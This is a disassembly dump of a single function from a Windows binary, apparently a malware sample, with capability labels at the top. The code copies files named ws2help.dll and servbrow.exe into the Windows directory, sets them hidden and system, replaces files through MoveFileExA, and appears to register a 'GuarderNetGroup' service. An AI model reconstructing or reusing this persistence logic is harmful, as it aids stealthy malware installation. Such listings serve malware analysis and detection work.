Function at 0x408e47
Capabilities:
Get common file path
Move file
Print debug messages
Set file attributes

Disassembly:
mov eax, 0x40a82b
call fcn.0040a1d0
sub esp, 0x3c8
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x3d3]
mov byte [ebp - 0x3d4], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x11b]
mov byte [ebp - 0x11c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x2cf]
mov byte [ebp - 0x2d0], bl
mov dword [ebp - 0x18], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x14], ebx
stosb byte es:[edi], al
call fcn.00404e69
mov esi, 0x104
lea eax, [ebp - 0x3d4]
push esi
push eax
push dword [0x40ef1c]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x3d4]
push 1
push eax
lea ecx, [ebp - 0x1cc]
call fcn.004051ff
lea eax, [ebp - 0x11c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strlen
cmp byte [ebp + eax - 0x11d], 0x5c
pop ecx
je 0x408f17
lea eax, [ebp - 0x11c]
push 0x40e654
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov edi, dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll_strrchr]
cmp word [edi + 0xa2], bx
je 0x408feb
lea eax, [ebp - 0x11c]
push 0x5c
push eax
call esi
mov byte [eax], bl
lea eax, [ebp - 0x11c]
push str.ws2help.dll
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x11c]
push dword [edi + 0xac]
mov ecx, edi
push dword [edi + 0xa8]
push 1
push eax
call fcn.004054b0
test eax, eax
je 0x408f7f
lea eax, [ebp - 0x11c]
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x408feb
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x2d0]
push str..upt
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x2d0]
push dword [edi + 0xac]
mov ecx, edi
push dword [edi + 0xa8]
push 1
push eax
call fcn.004054b0
test eax, eax
je 0x408feb
lea eax, [ebp - 0x2d0]
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x11c]
push 4
push eax
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x10]
call fcn.0040657f
cmp dword [edi + 0x84], ebx
mov byte [ebp - 4], 1
je 0x40913a
lea eax, [ebp - 0x11c]
push 0x5c
push eax
call esi
mov byte [eax], bl
lea eax, [ebp - 0x11c]
push str._servbrow.exe
push eax
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp - 0x138]
add esp, 0x10
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0x3d4]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0x120]
lea eax, [ebp - 0x11c]
lea ecx, [ebp - 0x1cc]
push dword [ebp - 0x124]
push ebx
push eax
call fcn.004054b0
test eax, eax
jne 0x4090c1
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x2d0]
push str..upt
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x2d0]
lea ecx, [ebp - 0x1cc]
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push ebx
push eax
call fcn.004054b0
lea eax, [ebp - 0x11c]
push 4
push eax
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov esi, str.GuarderNetGroup
push ebx
push esi
lea ecx, [ebp - 0x10]
call fcn.00407289
test eax, eax
je 0x4090e3
push ebx
push ebx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x10]
call fcn.004070ae
jmp 0x40913a
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x2d0]
push str.__s___Service
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x2d0]
lea ecx, [ebp - 0x10]
push ebx
push ebx
push 0x10
push 2
push eax
push esi
push esi
push esi
call fcn.004069ca
test eax, eax
jne 0x40913a
push ebx
push ebx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], 1
call fcn.004070ae
push 0x40e854
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x18]
mov ecx, edi
push eax
call fcn.0040616c
test eax, eax
jne 0x40917f
cmp dword [ebp - 0x18], ebx
je 0x409168
cmp dword [edi + 0x84], ebx
jne 0x409168
push 0x40e850
mov dword [ebp - 0x14], 1
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x14], ebx
je 0x40917f
push 0x40e84c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, edi
call fcn.004060cd
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.00402dd9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1cc]
call fcn.00404ee8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4